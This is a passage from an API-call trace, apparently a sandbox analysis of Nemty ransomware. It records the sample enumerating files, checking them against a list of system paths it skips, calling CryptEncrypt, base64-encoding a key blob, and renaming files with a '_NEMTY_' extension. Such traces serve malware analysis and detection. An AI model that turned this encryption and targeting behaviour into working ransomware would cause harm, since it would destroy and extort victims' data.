lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0135.579] CloseHandle (hObject=0xffffffff) returned 0 [0135.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0135.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0135.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0135.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0135.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png._nemty_kgobjgd_")) returned 0 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0135.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0135.579] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x389df7a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0135.579] lstrcmpiW (lpString1="3.png", lpString2=".") returned 1 [0135.579] lstrcmpiW (lpString1="3.png", lpString2="..") returned 1 [0135.579] lstrcmpiW (lpString1="3.png", lpString2="...") returned 1 [0135.579] lstrcmpiW (lpString1="3.png", lpString2="windows") returned -1 [0135.579] lstrcmpiW (lpString1="3.png", lpString2="$RECYCLE.BIN") returned 1 [0135.579] lstrcmpiW (lpString1="3.png", lpString2="rsa") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="NTDETECT.COM") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="ntldr") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="MSDOS.SYS") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="IO.SYS") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="boot.ini") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="boot.ini") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="AUTOEXEC.BAT") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="ntuser.dat") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="desktop.ini") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="CONFIG.SYS") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="RECYCLER") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="BOOTSECT.BAK") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="bootmgr") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="programdata") returned -1 [0135.580] lstrcmpiW (lpString1="3.png", lpString2="appdata") returned -1 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0135.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0135.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0135.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0135.580] Sleep (dwMilliseconds=0x5) [0135.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4777430, dwHighDateTime=0x1d561e8)) [0135.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4777430, dwHighDateTime=0x1d561e8)) [0135.593] GetLastError () returned 0x5 [0135.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0135.593] GetLastError () returned 0x5 [0135.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0135.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0135.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0135.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0135.593] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0135.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0135.593] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="AU+Eefj1GO6j8q3ndNsTH6yNuMEC8vWIp0WsfrBOgrTZ/m6Jujq97tl7vLRRQ9YM\r\nyU4B2zSxvdXvCqc9Otkx5jy8ds9K+aBwfwGgZr2M0cHlWkeV6Kra5g2bOC03Bvbf\r\nYtjEDIfaWVvWdJhxTnsVFtBBUyH6O3sEJJQIgsC1/Q7ZurXN5TwCkeQBX0FypZHS\r\na9fgZyo91cs6YOKV9HYDgdFc7eybT7/gk3+k/Jx95My8LkILvBVk2X79nzvXtcpg\r\nxULFPAhjoasNRsWLGWY7p2zHI6VHq/5beWPVVEgmWPwionq1ZCVGvJvbFqWTeUuy\r\nFXbd/ItLjcqp2cO7S9VnuA==\r\n", pcchString=0x653e91c) returned 1 [0135.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0135.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0135.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0135.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0135.594] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.594] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0135.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0135.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 